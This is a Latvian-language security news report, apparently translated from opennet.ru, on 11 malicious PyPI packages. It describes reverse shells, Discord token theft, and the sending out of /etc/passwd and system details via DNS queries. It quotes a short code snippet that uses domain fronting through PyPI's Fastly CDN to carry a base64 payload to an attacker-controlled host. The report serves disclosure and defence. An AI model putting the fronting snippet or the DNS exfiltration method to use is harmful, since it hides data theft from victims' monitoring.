PyPI katalogā ir konstatētas ļaunprātīgas bibliotēkas, kas izmanto PyPI CDN, lai slēptu sakaru kanālu

PyPI (Python Package Index) direktorijā tika identificētas 11 pakotnes, kas satur ļaunprātīgu kodu. Pirms problēmu identificēšanas pakotnes kopumā tika lejupielādētas aptuveni 38 tūkstošus reižu. Atklātās ļaunprātīgās pakotnes ir ievērojamas ar to, ka tās izmanto sarežģītas metodes, lai slēptu sakaru kanālus ar uzbrucēju serveriem.

  • Svarīga pakotne (6305 lejupielādes), svarīga pakotne (12897) — izveidoja savienojumu ar ārēju serveri, aizsedzot savienojumu ar pypi.python.org, lai nodrošinātu čaulas piekļuvi sistēmai (reverse shell), un izmantoja programmu trevorc2, lai paslēptu komunikācijas kanāls.
  • pptest (10001), ipboards (946) - izmantoja DNS kā saziņas kanālu informācijas pārsūtīšanai par sistēmu (pirmajā paketē resursdatora nosaukums, darba direktorijs, iekšējais un ārējais IP, otrajā - lietotājvārds un resursdatora nosaukums) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - sistēmā identificēja Discord pakalpojuma marķieri un nosūtīja to ārējam resursdatoram.
  • trrfab (287) — ārējam resursdatoram nosūtīja /etc/passwd, /etc/hosts, /home identifikatoru, resursdatora nosaukumu un saturu.
  • 10Cent10 (490) - izveidoja reverso apvalka savienojumu ar ārēju resursdatoru.
  • yandex-yt (4183) — tika parādīts ziņojums par sistēmas uzlaušanu un tika novirzīts uz lapu ar papildu informāciju par turpmākajām darbībām, kas izdota, izmantojot vietni nda.ya.ru (api.ya.cc).

Īpaši jāatzīmē metode, kā piekļūt ārējiem saimniekdatoriem, ko izmanto svarīgajās pakotnēs un svarīgās pakotnes pakotnēs, kas izmantoja PyPI direktorijā izmantoto Fastly satura piegādes tīklu, lai slēptu savu darbību. Faktiski pieprasījumi tika nosūtīti uz pypi.python.org serveri (tostarp HTTPS pieprasījumā SNI tika norādīts nosaukums python.org), bet HTTP galvenē “Host” bija iekļauts uzbrucēju kontrolētā servera nosaukums (sec. forward.io. global.prod.fastly.net). Satura piegādes tīkls nosūtīja līdzīgu pieprasījumu uzbrucējam serverim, datu pārsūtīšanas laikā izmantojot TLS savienojuma parametrus uz pypi.python.org.

PyPI infrastruktūru darbina Fastly satura piegādes tīkls, kas izmanto Varnish caurspīdīgo starpniekserveri, lai saglabātu tipiskus pieprasījumus, kā arī izmanto TLS sertifikātu apstrādi CDN līmenī, nevis gala serveros, lai pārsūtītu HTTPS pieprasījumus caur starpniekserveri. Neatkarīgi no mērķa resursdatora pieprasījumi tiek nosūtīti uz starpniekserveri, kas nosaka vēlamo resursdatoru, izmantojot HTTP galveni “Host”, un resursdatora domēna nosaukumi tiek piesaistīti CDN slodzes līdzsvarotāja IP adresēm, kas ir raksturīgas visiem Fastly klientiem.

Uzbrucēju serveris arī reģistrējas CDN Fastly, kas nodrošina bezmaksas plānus ikvienam un pat ļauj veikt anonīmu reģistrāciju. Zīmīgi, ka pieprasījumu nosūtīšanai upurim, veidojot “reverso čaulu”, tiek izmantota arī shēma, taču tā tiek iniciēta no uzbrucēja saimnieka puses. No ārpuses mijiedarbība ar uzbrucēja serveri izskatās kā likumīga sesija ar PyPI direktoriju, kas šifrēta, izmantojot PyPI TLS sertifikātu. Līdzīga tehnika, kas pazīstama kā “domēna frontēšana”, iepriekš tika aktīvi izmantota, lai slēptu saimniekdatora nosaukumu, apejot bloķēšanu, izmantojot dažos CDN tīklos nodrošināto iespēju piekļūt HTTPS, norādot SNI fiktīvu resursdatoru un faktiski pārsūtot resursdatora nosaukumu. pieprasītais resursdators HTTP Host galvenē TLS sesijā.

PyPI katalogā ir konstatētas ļaunprātīgas bibliotēkas, kas izmanto PyPI CDN, lai slēptu sakaru kanālu

Ļaunprātīgas darbības slēpšanai papildus tika izmantota pakotne TrevorC2, lai mijiedarbība ar serveri būtu līdzīga parastajai tīmekļa navigācijai, piemēram, tika nosūtīti ļaunprātīgi pieprasījumi, aizsedzoties ar attēla lejupielādi “https://pypi.python.org/images/ guid=” ar informācijas kodējumu guid parametrā. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Pakotnēs pptest un ipboards tika izmantota cita pieeja tīkla darbību slēpšanai, pamatojoties uz noderīgas informācijas kodēšanu DNS servera vaicājumos. Ļaunprātīga programmatūra pārraida informāciju, izpildot DNS pieprasījumus, piemēram, “nu4timjagq4fimbuhe.example.com”, kuros uz vadības serveri pārsūtītie dati tiek kodēti, izmantojot apakšdomēna nosaukumā esošo base64 formātu. Uzbrucējs saņem šos ziņojumus, kontrolējot DNS serveri domēnam example.com.

Avots: opennet.ru

Pievieno komentāru